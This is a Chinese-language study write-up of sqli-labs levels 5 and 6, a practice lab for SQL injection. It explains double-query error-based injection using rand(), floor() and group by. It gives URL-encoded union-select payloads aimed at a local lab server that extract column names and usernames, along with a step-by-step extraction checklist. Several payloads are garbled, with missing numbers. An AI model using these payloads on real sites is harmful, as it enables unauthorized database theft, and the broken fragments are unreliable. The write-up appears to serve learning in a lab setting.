sqli-5&6

第五关 Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

1.发现前几关的方法都不能用了，要么报错（没有其他有关信息、要么什么也不出现、要么就是显示you are in....）

把后面的注释符去掉以后，判断是字符型的，因为数字型的直接报错了哈哈而不是回显

2.题目备注是 双注入GET单引号

平时做的那种属于子查询，就是select里面还包含有select

https://www.2cto.com/article/201303/192718.html

双注入查询需要理解四个函数/语句：

Rand() //随机函数

Floor() //取整函数

Count() //汇总函数

Group by clause //分组语句

*rand()

select rand() #出现一个随机数，小于1

*floor()

select floor(1.33333338)#取整数

*concat()

select concat(“123”,“xixi”)#输出结果为123xixi

在这里，我们构造一个复杂的查询语句，

select concat((select database()),floor(rand()*)) from users;#有多少user，显示多少个

把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。

这里是security表，里面装了用户名，相当于这句话就可以查出一共 有多少个用户。如果我们将表换成information_schema.schemata，就可以得出mysql的数据库名。

我们这里再复杂一下：

select concat((select database()),floor(rand()*)) as a from information_schema.schemata by group a;

这句话的意思就是：我们把concat () 这个语句看成 a 这个group，然后这些列都在information里面，然后把同名字的分成一组。

反正想要啥，就在select database（）的database这里换就行了。。。

*group by “clause”

*count（*）

聚合函数，可以将我们想要的信息输出在a中

3.解题

第一步找到数据库名字：security

第二步：通过这个表名查user

但是这里报错：subquery returns more than 1 row #返回超过一行，解决方案：

组长博客里面写的有个limit（）函数可以解决，我们来看看这是啥子神仙操作：

https://blog.csdn.net/u011277123/article/details/54844834

union%20select%20null,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%%20limit%,),floor(rand()*))as%20a%20from%20information_schema.tables%20group%20by%20a%

union%20select%20null,count(*),concat((select%20username%20from%20users%20limit%,),floor(rand()*))as%20a%20from%20information_schema.tables%20group%20by%20a%

• 得到闭合字符
• 猜列数、尝试爆显示位
• 得到数据库个数和数据库名
• 得到表个数和表名
• 得到列数量和列名
• 得到列值

===========================

第六关  双注入GET双引号字符型注入

1.参数后面为双引号

加入limit函数：

http://192.168.1.115:801/sqli/Less-6/?id=1''
?id=' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1), floor(rand()*2))as a from information_schema.tables group by a#

后面就一样了。。。